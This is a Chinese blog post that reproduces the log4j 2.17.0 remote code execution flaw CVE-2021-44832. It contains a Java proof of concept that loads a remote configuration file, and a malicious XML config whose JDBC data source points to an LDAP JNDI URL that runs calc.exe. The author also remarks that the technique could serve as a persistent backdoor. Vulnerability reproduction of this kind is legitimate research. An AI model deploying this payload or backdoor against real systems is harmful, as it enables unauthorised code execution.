CVE-2021-44832 log4j_2.17.0 RCE复现与吐槽
2024-09-07 14:25:47
先说一句,这傻x洞能给cve就离谱,大半夜给人喊起来浪费时间看了一个小时。
先说利用条件:
需要加载“特定”的配置文件信息,或者说实际利用中需要能够修改配置文件(你都能替换配置文件了,还要啥log4j啊)。
然后因为log4j2.17.0已经实际上默认关闭了jndi的使用,还需要对方真的手动打开这个配置才能执行。
实际上约等于本地弹弹计算器的漏洞。
真的能随便改配置文件,我估计大佬们洒洒水,几十个RCE没啥问题。
代码直接用了发现者给的:
原文链接
import java.util.*;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
static {
System.setProperty("log4j2.configurationFile","http://127.0.0.1:8888/config.xml");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
}
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
}
}
需要远程加载配置文件,python启动一个http服务,配置文件内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="error">
<Appenders>
<JDBC name="databaseAppender" tableName="dbo.application_log">
<DataSource jndiName="ldap://127.0.0.1:1389/Basic/Command/calc.exe" />
<!--手动替换的配置文件里,通过jndi获取远程数据源,加载恶意类-->
<Column name="eventDate" isEventTimestamp="true" />
<Column name="level" pattern="%level" />
<Column name="logger" pattern="%logger" />
<Column name="message" pattern="%message" />
<Column name="exception" pattern="%ex{full}" />
</JDBC>
</Appenders>
<Loggers>
<Root level="warn">
<AppenderRef ref="databaseAppender"/>
</Root>
</Loggers>
</Configuration>
成功弹了计算器:
debug过程
org.apache.logging.log4j.core.appender.db.jdbc.FactoryMethodConnectionSource(createConnectionSource)
从这往里F7
最后用Twitter上老外的一句话结尾:
不过有一说一,事后想一想,作为一个持久化的后门还算有点意义。
最新文章
- phpmyadmin导入数据库大小限制修改
- neo4j-java连接
- CentOS 6/7安装ffmpeg
- http工作流程
- sphinx索引分析——文件格式和字典是double array trie 检索树,索引存储 – 多路归并排序,文档id压缩 – Variable Byte Coding
- 聊天IM的时间戳显示规则
- jQuery中的遍历
- 五大要求让BPM与企业对接
- Mina学习之IoBuffer
- known good die( KGD) /确认好裸芯片,合格芯片
- Alamofire网络库基础教程
- Windows 路径问题
- php 高并发下数据同步的问题
- linux无密码连接
- Spring整合MyBaytis
- Linux 管理软件
- MVC,EF 小小封装
- [math] sagemath
- .NET并行计算和并发6-获取线程池的最大可用线程数
- Codeforces 954 G. Castle Defense
热门文章
- HCIA-Datacom 3.4 实验四:实现VLAN间通信实验
- Android OOM 问题探究 -- 从入门到放弃
- python金牌班第七周周末总结
- C语言重定向输入:txt文件内容是中文,重定向输入显示乱码的原因
- HDU 5362 Just A String 指数型母函数
- 持久化-DLL劫持
- Think PHP 完整的带富文本格式以及图片上传,并且在页面上分页展示
- class 中的 构造方法、static代码块、私有/公有/静态/实例属性、继承 ( extends、constructor、super()、static、super.prop、#prop、get、set )
- go 中解析JSON的三种姿势
- Linux下进行Oracle数据库安装